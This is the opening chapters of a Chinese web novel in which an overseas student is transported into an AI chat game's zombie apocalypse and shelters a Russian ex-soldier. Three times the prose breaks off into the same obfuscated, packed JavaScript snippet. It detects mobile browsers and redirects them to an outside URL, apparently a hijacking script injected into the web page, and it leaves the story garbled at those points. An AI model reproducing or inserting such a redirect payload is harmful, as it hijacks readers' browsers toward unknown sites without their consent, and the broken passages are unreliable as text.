《E区留子末日生存记》 1. 末日游戏 白睨将几勺肉酱倒入平底锅中,热油滋滋响着,飘出浓郁的香味。她下意识伸手去开油烟机,手在空中顿住,决定还是开窗通风。 这间一室公寓本来就不宽敞,如今台面、桌上、地上堆满了各种食物和矿泉水瓶,更显得拥挤。她绕过脚边的一箱苏打饼干,经过床铺、书桌,最后推开上悬窗,让屋内的味道通过狭窄窗缝散出去。 同时,从窗外飘进一股淡淡的臭味,融合着焦味、血腥味和肉腐烂的味道。 白睨往对面楼下看。 一只皮肤青白、半脸腐烂的人形物体,头颅诡异地歪着,嘴巴微张,拖着折断的腿慢慢挪过。就在它经过的墙边,两只人形物体正跪在地上往嘴里塞着东西,一只沾灰带血的大腿夹在它们之间。 大路上,车辆横七竖八地撞在一起,破碎玻璃撒了一地,血迹与机油斑斑驳驳;几只人形物体漫无目的地游荡其中。 一片死寂。 距离她穿越到游戏里,已经过去两周了。 · 白睨是一名E国留学生,当初出于兴趣选了一门冷门专业,直到新生开学才发现不对劲。 偌大的教室里,一个同胞也没有。 就算是个标准淡人+i人,也扛不住孤儿般的生活、白人饭的折磨与E国冬令时的debuff,最终,白睨转向一款时下流行的文字游戏寻求慰藉。 这款游戏名为“PhantoChat”,本质上是一款聊天游戏,但除了人物对话,还可以加入丰富的环境与人物描写。所有文字信息均由人工智能实时生成与处理,给予游戏极高的自由度。 在游戏的数个存档里,白睨当过娱乐圈背景的女总裁、西幻世界背景的魔法师、古代背景的天下第一美人侠客。直到某个春末的小假日中,白睨躺在床上灵机一动,开了一个以丧尸末日为背景的存档。这次她决定玩点不一样的,便以自己的真实情况设定了主角。至于男主的人设,她只随便写了点,打算让人工智能自由发挥。 然后,在她点击“确认”的那一刻,空间剧烈震动。她的面前浮现几行字: [存档编号:52890963 关键词:丧尸,末日 设定:丧尸末日,人类被咬后感染;丧尸行动速度中等;丧尸弱点在大脑 开场:白睨正百无聊赖地刷着手机,突然看到一则新闻:狂暴病毒出现新型变异株,感染者无差别攻击未感染者,事态逐渐升级……] 时空停止震动后,白睨眨了眨眼,还未回过神,就发现手机界面的弹窗新闻俨然变成了: “狂暴病毒出现新型变异株……” 回过神后,白睨迅速冲去楼下的超市购买生存物资。就在她第三次扫货时,超市外的路人忽然开始奔跑、尖叫,于是她拎着购物篮直接往公寓楼跑,万幸,最终平安到家,上楼的时候她还不忘拆走大厅里的灭火器。 丧尸危机迅速席卷六个大陆,一座座城市接连沦陷并向乡野蔓延。就在昨日,白睨的手机彻底没了信号。 她回到电磁炉前,往锅里加入一碗水,然后倒入煮过的意面。 好在白睨的物资还是很丰富的,早在危机爆发前她就有囤货的习惯。因为E国物价和饮食偏好,她从国内转运了大量干货、调料、零食和生活用品;由于配送费不便宜,她习惯一次性买很多米、水、纸巾等日常消耗品送货到家中。这个游戏世界几乎与原本的世界一模一样,她的囤货自然也保留下来。 只有一点不同,就是她的发型。当初白睨在设定游戏时想让主控利落一点,所以在外貌栏上写了“短发”,进到游戏里后她发现自己从一头长发变成了短发,因此判定这里是一个虚拟的平行世界。 失算了,为什么自己是按照欧美丧尸电影写的设定,如果当初参考的是国内小说,说不定自己现在已经有超能力了。 白睨甚至有些懊恼为什么她没有金手指。别的玩家穿越,要么自带空间、积分、召唤系统,要么开辟末日异能或修仙赛道,只有自己啥也没有。PhantoChat的界面一片漆黑,上方亮着“通知”“背景设定”“主角设定”三个模块。 主角设定里除了她自己的基本信息,还有自己随意写的名为“杰克”的男主: [姓名:杰克 性别:男 外貌:年轻帅气 性格:(空) 身份:(空) 经历:(空)] 懒惰害死人啊!但凡当初多写一点,写个“超人”或者“善于手撕丧尸”,她现在也不用为生存发愁了! 白睨自我认知十分清晰,四体不勤五谷不分,跑八百米都要大喘气,很难想象自己如何能在丧尸世界生存。如果还要带上一个除了美貌一无是处的男人……不知道丧尸在两盘菜之间会不会选择更漂亮的那盘菜。 她将肉酱面盛在瓷盘,摆上吧台。黄澄澄的面条上只有零星的罐头肉沫,整体并不很有食欲。她用叉子卷起面条,放入口中慢慢咀嚼着。 “咚咚。” 白睨手上动作一滞,难以置信地看向房门。 “请问有人在里面吗?”门外响起沉闷的男声,伴随着急促的喘息声。敲门声再次响起,比前面力度更大。 白睨大气不敢出,慢慢地挪到门边,跪上沙发往猫眼里看去。只见玻璃里出现一张变形的男人的脸,他顶着一头乱糟糟的金发,眼珠不住转动,透出肉眼可见的恐慌。 她没敢说话,犹豫时,男人再一次捶门,“我知道有人在这里,我听见声音了!求你打开门吧!” 糟糕,这个人就不怕把丧尸引过来吗? 犹豫再三,白睨出声,“你是谁?” “我们是幸存者,人类!我们需要庇护所,求你了!” “我们?”白睨警觉起来,“你有同伴?” “是,还有个人,他受伤了,但不是丧尸咬伤,求你让我们进去吧!” 白睨心里警铃大作,放两个人——可能两个都是男人——进自己一独居女性的房间?况且,这个桥段放在小说里不要说太经典!新成员加入据点时,总有人偷偷隐瞒自己被感染的实情,导致据点沦陷。 “抱歉,我无能为力,或许你们可以找个空房间暂避?” “什么?”男人似乎难以置信,声音中透着绝望,“外面都是丧尸!” “真的抱歉……” “该死!快开门!”那人情绪激动,喊叫也变成了咆哮,“开门!开门!” 门剧烈震动,白睨被他的发狂吓得抵住沙发,“别吵了!快走,我不会开门的!” “你听着,外面很危险,我们又很饿,超市已经空了!求你开门吧!” “不!你走!”白睨气得没控制住声音。 “砰”一声巨响,木板门遭受重击,咆哮声充满绝望:“你这个××!开门!我们千辛万苦来到这里,你却把我们拒之门外!你不开,我有的是办法进去!” “砰!砰!”对方抡起棒球棍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742285|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠狠地砸着公寓门的门锁,发出巨大声响!白睨差点尖叫起来,公寓门足够抵挡丧尸,但是挡不住蓄意破坏它的人类! 这个疯子! 她一把从墙壁挂钩上摘下一个东西,“我警告你,立刻离开我的门!不然我就拉响警报!” 男人没有理睬,继续把棒球棍重重摔在门上,嘲讽道:“该死的!我很快就会把你这破门打开的!” “那就看谁先死!!”白睨大叫一声,拉响了手里的警报器! “滴滴滴滴滴!——” 一瞬间,尖锐高亢的警报声响彻整层楼! 白睨的心率也一同飙升,头皮发麻。门外传来一句咒骂声,随即撞击停止,凌乱的脚步声远去。 她立刻关闭警报器,空气一下子变得安静。靠在沙发上,她浑身紧绷,心脏几乎要从胸膛里跳出来。 很快,她就听到离房间近的那一侧的防火门被撞开的声音,伴随着阵阵可憎的嘶吼声。没有目标,丧尸只能像无头苍蝇一样乱撞。数道房门砰砰作响,白睨抵着门后的沙发,大气不敢出。 · 慢慢地,太阳往天边落下了,黑暗笼罩了这座城市,一天落下帷幕。 白睨心惊胆战地蜷缩了一天,门外的动静才逐渐消失。肉酱面还在吧台上,面条干成一坨,褐色的酱汁凝固在白瓷盘上,显得更加油腻。她目光呆滞,从餐桌收回视线,把头埋在臂弯里。 现在她是切身明白了:在末日,居心不良的同类,与丧尸一样恐怖。她发誓,下次如果还有人来敲门,她…… “咚咚咚。” “……” 白睨有气无力地翻了个白眼。 “您好,”门外传来喘气声,“可以帮帮我吗?” 侧耳倾听,仔细辨认后,白睨确定这和白天的不是同一人。她转过身跪在沙发上,透过猫眼,看见一个发色极浅的男人,他眉头微蹙,睁大的眼睛流露出慌张。 “……你又是谁?” “幸存者,”沙哑、颤抖的声音从门后传来,“抱歉,但是我真、真的没有食物了。可以让我进去吗?分我点食物,也可以。” “你有同伙吗?” “没有,我和来骚扰你的人不是一伙的……我住在楼下,今天我听到你们争吵才知道这、这里还有幸存者。” 怎么今天突然来了这么多人向她求助?只是因为她的房间在楼梯旁第一间吗? 小小的圆孔里,男人缩着头,声音贴着门板传来,“我真的真的需要食物,可以帮帮我么?” ……等等。 白睨在迟疑中突然想起了什么。大脑慢慢运转起来。 “你叫什么名字?” “我?”男人顿了一下,“我叫杰克。” “……” 白睨深吸一口气。 “背过身,不要动,懂了吗?” 男人虽然有些疑惑,但还是乖乖照做了。白睨确认他背对着门板,才拆下阻门器,挪开沙发。 门快速打开,一件床单飞出来,把男人裹住兜了进去。 白睨想确保对方没有攻击她的能力。可是在把他拉进来的那一刻,她突然意识到走廊上不对劲。 太安静了。就算丧尸散去了一些,也不该这么安静。 在快速移动中,她的余光瞟过两侧走廊。 苍白的灯光下,几只丧尸歪七扭八地叠在地上,没有动静。 太迟了。她已经把男人拽进了房间。 2. 杰克斯基 男人安安分分坐在地上,缩着脖子望向白睨。床单将他包裹得严严实实,可白睨还是不放心,又拿来腰带绑上。 动作时,她假装漫不经心地问:“你叫杰克?住在楼下?” “对,我住在楼下,二楼靠楼梯的房间。谢谢你收留我。” 白睨直起身来,看着被捆成粽子的男人。 “就你叫杰克啊?” “嗯?”男人无辜地看向她,“我是叫杰克啊。” 你叫杰克我还叫玛丽呢! 她按了按太阳穴,心想要不是自己天天和印度同学交流,这弹舌口音还真不容易听懂。绕着他走了几圈,白睨心中越发怀疑,不管是这长相、口音,还是门外那景象…… 坚定想法后,她俯视着地上的男人,“如果你说你叫‘杰克斯基’,或许我还能信一点。” 男人瞪圆了眼睛。 “你怎么知道我是R国人!” 白睨一脸无语地看着他。 白色头发,灰蓝色眼睛,高挺的鼻子,深邃的眼眶。 还有这宽肩、大胸肌,和无处安放的大长腿。 ……这幅形象不就是刻板印象里的R国人模板吗!常见于各种小说漫画……再加上这口音,猜出原属地不是轻而易举吗? 这游戏疯了?看到这副模样的人走在街上,其他路人NPC不会感觉奇怪吗? 一股强烈的吐槽欲无处宣泄,白睨不打算向对方解释,“你究竟是谁?” “好吧,我的名字是米哈伊尔,米哈伊尔·索罗金。” “为什么撒谎?” 米哈伊尔叹了口气,面色微沉,“听着,我不是想欺骗你,只是现在这情况太混乱,我用假名是为了安全” 她并不信服,“你难道是名人吗,还怕别人认出自己?” “在我的那个行业里,算是吧。我曾经是个军人。” 好老套的剧情。主角队伍里一定会有一个军队出身的角色。 白睨哽住了。她侧过身,打开手机进入PhantoChat的角色信息界面确认,却发现文本有了大变动。 [姓名:米哈伊尔·索罗金 性格:男 年龄:27 外形:身高187,体重87公斤;白色头发,灰蓝色眼睛 职业:军人] 这游戏是对初始男主名字有异议吗?以这种方式曲线救国…… 正在心里吐槽着,白睨就听见一句: “R国特种部队,ARU。” 她双腿一软,跪倒在地。 这游戏的人工智能疯了!ARU特种兵?它倒是敢编,它编得明白吗! 米哈伊尔眨眨眼,“你腿不舒服吗?” “站久了,做个伸展运动。”白睨扶着柜台,慢慢站起来。 “那,”男人咧嘴一笑,“可以给我点吃的吗?我从昨天开始就没吃东西,快饿死了。” 白睨内心十分复杂,但还是点点头。 台子上的肉酱面已经凉透,她不舍得扔,准备最后放进微波炉叮一下。从冰箱里拿出冻米饭,然后从柜台里拿出香菇干、肉干和牛肉酱。趁着米饭在微波炉里解冻,她把香菇干和肉干切碎,倒入锅中,加牛肉酱、生抽、老抽炒香。 米哈伊尔闻到香味,慢慢蛄蛹过来,瞪大了眼睛,“你是在做中餐吗?太疯狂了,现在还能吃米饭?” “只是普通的家庭菜。”白睨感到一丝尴尬,不太习惯和陌生男人共处一室,只是低着头,取出解冻后的米饭倒进锅里翻炒。 米哈伊尔摇头,“你不了解现在外面的情况,也想象不来我这些天都吃了些什么,哈……吃完这顿,我明天去死也没有遗憾了。” 夸张。她摇摇头,提醒对方,“你不是说你住在楼下?” “这我倒是没说谎,只是昨天才住进去。”米哈伊尔扭动着手臂,“找到了一间没上锁的房间,想着起码能吃点东西吧?结果什么都没有。” 话正说着,腰带松开,米哈伊尔挣脱了床单。他扭了扭肩膀,冲她一笑,“被绑累了。” 白睨耸了耸肩,但用余光发现对方往椅子上坐时,握着锅铲的手一抖,“等等!” 米哈伊尔僵住弯了一半的膝盖,“嗯?” “……你要不要去浴室洗个澡,换一身衣服?”她目光先是停在对方脏兮兮的上衣,然后往下移到鞋子,“还有,请穿拖鞋。” 男人欲言又止,抓了抓头发,“好吧,好吧,但是我没有换洗的衣服啊?” 闻言,白睨的脸皱了一下,道:“我找几件衣服给你,你绑在身上?” “绑在身上?”米哈伊尔皱眉重复道。 白睨坚定地点了点头。 “好吧,啊……”他的表情突然有些尴尬,“但是……我是说……内裤的话……” 这下连白睨也愣住了。她关上火,思索片刻,犹豫地转过来,扫视一圈,最后指着囤在衣架下的安睡裤,尴尬地笑了笑。 “那个,要不穿卫生裤凑合一下?” 米哈伊尔的脸青一阵白一阵红一阵。 · 过了一会儿,米哈伊尔洗完澡出来。拨了拨湿漉漉的头发,他看见白睨坐在吧台。“饭做好了,来吃吧。” 两盘热气腾腾的香菇肉酱饭与肉酱面双拼摆在吧台上,整个房间充满酱料的香味。米哈伊尔猛吸了一口气,他多久没吃上一顿热饭了? 应了一声,他在吧台边坐下,持起勺子。 白睨早已坐好,顾自低头猛扒了两口饭。 米哈伊尔舀了一口放入嘴中,瞬间两眼放光,“天,太美味了!你完全就是大厨!” “咳咳,没有这么夸张,只是你饿了……”白睨抬起头又马上低下。 “真的,我好久没吃过这么好吃的饭了。”他一边感叹一边炫了一大口饭,含糊不清地问,“这是……蘑菇?你连这个都有?” “香菇干。我不太习惯这边的饮食,有时会从国内转运。” 白睨打算饭后清点一下目前的物资,不准备有太多隐瞒。并不是信任这位男主,而是她根本没办法隐瞒。大大小小的物资挤满了整个小房间,刚才米哈伊尔走来五步,差点被绊倒两次。 她又往嘴里送了一勺裹满肉酱的米饭,舒心地眯起眼睛。 米哈伊尔叽里呱啦了好一阵,忽然,停下了话头。 “对了,我好像还不知道你的名字。” “哦,我姓白名睨,你可以叫我白。” “好的,白,你为什么一直低着头?” 白睨握着勺子的手停下,但还保持着低头的姿势,“嗯?因为我在吃饭?” “你说话的时候也没抬头。” “……”白睨不仅没抬头,还埋得更低了。 米哈伊尔想噘嘴,“你是不想抬头看我吧?” “怎么会呢,我……”白睨刚抬起一点头,就看到: 眼前高大壮实的男人,胸前挂着碎花围裙,肩上的卡其色女士外套一直在往下滑。他腰侧肌肉分明,但系在腰部的宽松版绿色毛衣同样瞩目。毛衣已经很努力地遮挡他的胯部,仍难以藏住蓬松棉裤的一角。那个棉裤是她曾买错的超大号,看起来也十分勉强。 白睨马上低下了头,绷紧脸上的肌肉。 “对不起……我……没有在笑。” “是吗?那你的嘴角在做什么?” “我……每天都要锻炼一下脸部肌肉,防止面瘫……” · 安装太多插件容易不兼容,维护起来会很麻烦。 整场晚饭,米哈伊尔左边扯一下外套,右边提一下毛衣,努力不让这套男德保护系统崩溃。 白睨听他嘟嘟囔囔了几句,没懂,大概是在说她坏话。刚才米哈伊尔提出只在胯部围一件衣服的减负要求,被她严正拒绝。理由是她也要保护自己的眼睛。 伴随着窸窸窣窣的衣物声,白睨正往嘴里送饭,就听见“啪嗒”一声,有什么东西掉在了地上。 她低下头,却看见,一把枪躺在桌脚边,油光发亮。 米哈伊尔以迅雷不及掩耳之势捡起枪。 “砰!” 白睨猛地站起后退撞到了矿泉水堆,一动不动地僵住了。下意识屏住呼吸,她的眼睛瞪得滚圆,死死盯着米哈伊尔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742286|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“等等,等等,小心点,”男人抬起双手,“这是我的枪。你别怕。” 他拿着那把小型手枪,轻轻一按,弹匣稳稳滑入掌心。他把弹匣在白睨面前晃了晃,里面还剩五发子弹。 “这是我最后一个弹匣了。”说着,他把弹匣放在白睨身前的桌面上,灰蓝色的眼眸一直望着她,“我舍不得把老伙计交给你,但弹匣可以由你保管。” 白睨的目光落在那黑色哑光的物件上,又移回米哈伊尔身上,保持与他对视,慢慢直起身,忽然一个弹起抓走弹匣。弹匣被她紧紧抓在手中,冰凉的金属壳有些烫手。 稍稍定了定神,她又感到一丝尴尬,自己表现得太慌张了。再说,对方若真要伤害她,似乎并不需要子弹。 尽管如此,她还是收起弹匣。为了掩饰尴尬,她看着米哈伊尔手上的枪,装作有些兴趣,“你的配枪?” 男人摇了摇头,把枪放在桌上,拿起勺子搅了搅米饭,“不是配枪,是我的私人宝贝——SIG Sauer P938夜蝰蛇。多亏它,我才能活到现在。” “枪声不会吸引来更多丧尸吗?” “不会。一体式消音枪管,开火的声音和敲键盘差不多。”米哈伊尔得意地勾了勾嘴角,“你可得把我的弹匣收好了,关键时候,它没准能救咱俩的命。” 白睨有些犹豫,关于他为什么作为前ARU成员会出现在E国以及为什么带着枪等诸多疑问浮现脑海,但此时似乎并不是询问的好时机,于是她按下了想法,重新坐回椅子上吃饭。 饭后,米哈伊尔被白睨打发去洗碗,她自己清点起当前的物资。 冰箱里还剩十一盒米饭,三袋全麦面包,两盒培根,一块黄油,一包奶酪片,西蓝花块和玉米粒各一袋。 台面和地上则堆满了她之前从国内转运和后来在这边买的东西。小半袋大米、半箱苏打饼、半箱肉松饼、一大包方便面、二十三盒肉罐头、五袋肉干、五盒零食饼干,三包巧克力,豆脯、海苔、薯片各两袋,一袋法棍,两箱半矿泉水。 橱柜里有三包腊肠,咖喱、果茶、面粉、燕麦片、豆浆粉各一袋,蛋白粉和奶粉都剩大半罐,此外还有各种调味料和香菇、木耳、干贝、竹笋等干货。 除了食物,她还有一抽屉的保健品和药物,一箱安睡裤,四包卫生巾,纸巾和卷纸各半箱,两筒厨房纸…… 正在她估计各类物资消耗速度时,不知何时米哈伊尔来到了她身后。 “白,我真的怀疑,你是不是早就知道这个世界要完蛋了。”他感叹道,“这哪是避难?简直像是给自己打造了个新世界。” 白睨心里一咯噔,赶紧摇头,“我只是爱囤货。” “这些物资足够我们在房间支撑一个月。”米哈伊尔似乎没多想,在吧台边坐下,“但我们也不能停留太久,附近的超市基本被洗劫一空了。” 白睨思忖,米哈伊尔说的没错,这边人口密度较密大,丧尸多不说,物资竞争也很激烈,还容易被同类打劫。 若自己还是一个人,她肯定不愿意去太远的地方。可现在身边多了个战斗力,她的选择就多了。 “如果离开这里,你觉得我们应该往哪里去?” 米哈伊尔“嗯”了一声,歪头思索,“城市里资源多,但人更多更危险;乡下物资少点,但起码能自给自足。我的建议是往城外走,说不定能找到个废弃的屋子,狩猎、采集,总比在这里盲目搜罗强。要是能找到把猎枪,日子会更轻松点。” “尤其在停水停电后,城市的生存环境只会越来越恶劣。”白睨微微颔首,表示认同,“我们可以先在这里待一段时间,把不方便带走的物资消耗掉,等时机合适,再带上剩下的东西离开。” 顿了顿,白睨充满希望地看向他,“你是个特种兵,是吧?” “嗯?是啊。”米哈伊尔眨巴眨巴眼睛。 “那你能像电影里那样,不用钥匙就启动一辆车吗?” “哦,你是说偷车吗?”米哈伊尔哈哈一笑,“当然,这是我的必修课,只是需要点道具,但我想你的房间里会有的。” 白睨打了个响指,“那就没问题了。” 3. 解锁剧情文本功能 白睨房间的房型是单层一室户型的Studio,空间有限,且只有一张床,米哈伊尔很自觉地睡在了门后的双人沙发上,整双腿都在沙发外晃荡。 一天夜里,米哈伊尔先被门锁转动的声音吵醒。有细物在锁孔里戳来戳去,显然,这是有人试图开锁闯入。 “朋友,这间屋子有人了。”他不耐烦道。 同样的情况后来又发生了一次,这次被吵醒后,米哈伊尔磨牙冷笑道: “宝贝加油,我的平底锅已经迫不及待要狠狠亲你的脑袋了。” 公寓楼里肯定有抢夺物资的恶性事件发生,虽然对于二人而言目前是安全的。 对米哈伊尔来说,更大的问题是衣服。 “我不能整天穿的像个变态。”他苦哈哈地说。 “其实很多大牌走秀喜欢这种混搭风。”白睨不太真诚地安慰。 米哈伊尔试过用针线和剪刀将几件白睨的衣服拼成一套自己能穿的衣服,结果也确实成功,满足了“能穿”的基础属性。 “很多大牌走秀喜欢这种拼接风。”白睨一脸真诚。 “你刚才可不是这么说的。”米哈伊尔愤愤道,“你说给我一个杯子让我去门口蹲着。” 他最后受不了了,拿起浴室柜里的旧花洒头出门,把一个落单丧尸的脑袋敲开了花,扒走衣服和裤子。 靠在浴室门上,白睨看着米哈伊尔哼歌洗衣服,突然灵光一现,打了个响指,“我有个想法!” 她把米哈伊尔拉到桌前,在纸上画出一个草图,“这是我们这层的布局。” 以电梯出来后那间小厅为中心,三扇防火门通向三条走廊,每一条走廊的尽头都是一扇连向楼梯的防火门。白睨房间所在的走廊姑且叫做一号走廊,她是一号走廊进来的最后一间房,也是最靠近楼梯的房间。 “如果利用好这些防火门,我们不仅可以阻止丧尸和人类进入这条走廊,还能慢慢清理楼里的丧尸。”白睨在纸上点了点,又随手画出了防火门的样子,“这些门是向内拉的单向门,只需在门后用重物抵住,或者找个合适的物体卡在门把手后面,就能挡住外面的人和丧尸。我们可以先将通向楼梯的门封死,清理掉走廊上的丧尸,再将连接电梯厅的门抵住,就能制造出相对安全的生活空间了。” 米哈伊尔在听到“单向门”的一瞬间眼睛亮起,回忆来时的情况,发现自己竟然忽略了这个细节。 “听起来不是很难,但是,”他指了指自己,“我出去吗?” 白睨讨好地笑笑。 他大大地叹一口气,但自觉地披上外套,“好吧,不能光吃饭不干活,对吧?” “现在就行动?” “先让我检查一下走廊上有没有丧尸。”走到猫眼前,米哈伊尔眯起眼睛,“嗯……没看到丧尸的身影,或许是个出门的好时机。” 二人一合计,心动不如行动,择日不如撞日。 白睨从鞋架上拿来一个袋子,里面装着好几个不同款式的阻门器,如楔形的、双吸盘的、单吸盘的、铁片式的,等等。 拿起U形阻门器,米哈伊尔转了转底下的吸盘,“只有一扇房门,你买这么多阻门器做什么?” “这不是出门旅游要用么,不同酒店、民宿的门可用的阻门器不一样。”白睨拿出两个吸盘式的阻门器,把它们揣进外套兜里,“你掩护我卡住防火门。” “好的,长官。”米哈伊尔装模作样地行了个礼。 随后,他拎起地上的灭火器,轻轻打开门,探头观察。 近处是安全的,但是右方防火门上的一块玻璃现出丧尸的身影;走廊左方远处也有一个丧尸背对着他们缓慢游荡。米哈伊尔对白睨比了个手势,她点点头,两手握着从衣柜里拆下来的金属棍,做好了准备。 米哈伊尔走出去,背对着白睨,她则蹑手蹑脚地潜行到防火门后,快速地把阻门器塞进门缝里,转动旋钮压紧吸盘。 微弱的声响很快引起了走廊上丧尸的注意,它扭过残缺的脸,嘶吼着往这边冲来——却见米哈伊尔弓起手臂用力一抡,沉重的灭火器砸在丧尸脑袋上发出清脆的骨头碎裂声!瞬间,丧尸飞到墙上然后摔落在地,没了动静。 米哈伊尔一步上前,手拎灭火器轮了个大圆,狠狠砸在丧尸脑袋上完成了补刀,仿佛只是砸烂西瓜那么轻松。随后他回过头来,炫耀性地向白睨比了个大拇指。 白睨咽了咽口水,感觉自己脑壳嗡嗡的。 男人只用一瓶灭火器就干掉了走廊上剩下的丧尸,随后大步冲向电梯间防火门,在外面丧尸撞开门前及时用肩膀死死抵住。门板剧烈震颤,砰砰作响,却没有被撼动分毫。白睨迅速上前,手脚麻利地安装好阻门器。然而,看着玻璃外那些躁动不安的丧尸,她的心猛地一沉——这个阻门器,真的能挡得住吗? 目光落在旁边一扇半开的门,她咽了咽口水,对还抵着门的米哈伊尔快速说了一句:“等等。”然后她举着金属棍,小心翼翼地靠近那扇门。 “白?” 白睨摆了摆手,轻轻推开门。 那一瞬间,各种可能的画面在她脑海中闪过:也许房间一片狼藉,空无一人;也许有一只丧尸伫立其中,僵硬地扭过头来。然而,眼前的景象却出乎她的预料——在凌乱的房间里,一具尸体静静躺在床上,面部血肉模糊,黑色的血迹以飞溅状布满床板和墙壁。 安静,但诡异。 她的眼珠快速转动,确认了浴室门、衣柜门都打开着,里面没有丧尸躲藏。走上前,双手抓住床脚的双人沙发——每个Studio的布局都差不多,她猜到房间里会有标配的沙发。她一边踢开脚边的杂物,一边吃力地把沙发拖出房间,挡在防火门后。 这还不够,米哈伊尔正想叫她,又见她折返回房间,不消几秒就拿着几张湿哒哒的纸出来,“啪啪”贴满玻璃,将门外的丧尸从视线上阻隔。 白睨叉着腰长出了一口气,一颗心终于落回到肚子里,对着米哈伊尔比了个大拇指。 · 二人又从其他房间拖来几张沙发,分别抵在两扇防火门后,加固防御,同时用纸遮住了所有门上的玻璃视窗。 白睨看着他们的“杰作”,心里默默夸了自己一句——那些丧尸电影果然没白看。 这条走廊上,几间房间紧锁着,但门后不断传出的嘶吼声意味着门后并不安全;其余的房间都能打开,或者说,已经被打开。他们在其中几间屋子里发现了几具尸体,无一例外都躺在床上,头颅和面部遭受重创。 “很明显,”米哈伊尔打开柜门,又一脸失望地关上,“是那些掠夺者干的。” 这些人没有死于丧尸,却在梦里被同类夺走了性命。想到这儿,白睨的心里泛起寒意。那些掠夺者还在这栋公寓里吗?当物资消耗殆尽,他们会不会回到这里,试图闯入她的房间? “别操心这家伙了。他已经和天使载歌载舞了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742287|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,和丧尸玩得水深火热的人是我们。”米哈伊尔误以为她还在想死者,抓了抓头发,语气中透出一丝烦躁,“居然一点也没剩下,那些老鼠搜刮得可真干净。” 白睨扫了一眼地上的杂物,“哪里一点没剩,这些生活用品不也很有用么?说不定我们还能找到几样趁手的武器。先收拾吧。” 他们把整理工作做出了过年一般火急火燎的架势。米哈伊尔戴上口罩和手套,把房间里的尸体用床单包裹住,一一从窗户推出去。随后,他一手消毒液,一手清洁工具,动作干脆利落地做着打扫工作,被白睨评价为像凶案清洁工。 他意味深长地看了她一眼。 白睨的工作则是把这些房间里的物资都分门别类,整理到不同房间。她惊喜地找到了一些被掠夺者遗落的食物,有半罐奶粉、一根肉肠、两盒羽衣甘蓝粉、两袋面包、三瓶水。 所有食物和部分日用品都被她转移进自己的房间,剩下的物资里,纸巾、消毒液、洗衣液、塑料袋等消耗型日用品,放在她房间的对面房间,称作一号房;一号房隔壁的二号房用于收纳女式衣物和女性日用品;三号房用于收纳男式衣物和男性日用品;余下的可能有用的杂物都放进四号和五号房。 米哈伊尔倚在拖把上,看她兴致勃勃地把大件小件装进箱子和袋子里,“怎么感觉你还挺乐在其中的。” “才没有。”她嘴上否认,忙于整理的手却不停下。 除了看恐怖片,白睨的另一大喜好,就是看解压收纳视频。 米哈伊尔斜了一眼摆在桌上的瓶瓶罐罐,那些是白睨整理出来的药物和保健品。他状似随意地拿起一个瓶子看了看,又放回桌面。 白睨抬头,眯起眼睛,“你很闲?很闲的话就收拾一下其他几间房吧,这儿有很多塑料袋,把垃圾打包一下。”就见对方举手以示投降,抓起地上的杂物往袋子里装。 她假说看看有没有东西落下,转身进了旁边的房间。关上房门后,她拿出手机。 刚才手机忽然震动,提示游戏系统又更新了。果不其然,等她进入PhantoChat的初始界面,就看到多了一个“剧情文本”选项。点进去,一段段文字像气泡一样蹦了出来,最先引入眼帘的是最近的内容: [*米哈伊尔目光落在桌上的保健品瓶身上,被橄榄叶花纹围起来的“A&S”品牌名吸引了他的注意。维生素B、鱼油、护肝片,这些都是经典产品。他扫视一番,很快就发现了两个紫色瓶子,那是A&S最新的热门产品ReVita-Z,宣传称使用了全新一代细胞再生配方,旨在提高身体活力和免疫力。他不由自主地拿起其中一个瓶子,扫了一眼成分,才放回去。*] [“你很闲?很闲的话就收拾一下其他几间房吧,这里有很多塑料袋,把垃圾打包一下。”*白睨抬起头,不满地眯起眼睛。*] 白睨惊讶地发现,系统加入了原本的主要游戏内容——文本互动功能。但是玩家方的回复框变成了灰色,她只能被动地读取剧情记录。 在读了一遍最新记录后,她察觉出怪异之处。 米哈伊尔对A&S保健品的反应是不是有些奇怪? A&S保健品原本是E国本土的健康食品企业,不久前被一家A国大型企业收购。白睨自己房间里也有几瓶它家的保健品,但都是经典产品。 联想到米哈伊尔的身份,白睨心下一惊:难道A&S——或ReVita-Z——有什么问题? 4. 微醺 米哈伊尔站在走廊上,双手抱胸,“你有什么健身器材吗?” 为了避免宅太久跑不过丧尸,在白睨的提议下,他们开始在走道里健身,而米哈伊尔自觉担任起她的指导教练。 白睨从自己房间里搜罗出无绳跳绳、小哑铃、瑜伽垫和泡沫轴。 “平时锻炼的频率是多少?”米哈伊尔试了下小哑铃的重量,却没有得到回复。他有些疑惑地抬起头,只见白睨有些尴尬地挠着脸。 “大概……一个月……一次……或两次?” “……这些不是你买的吗?” 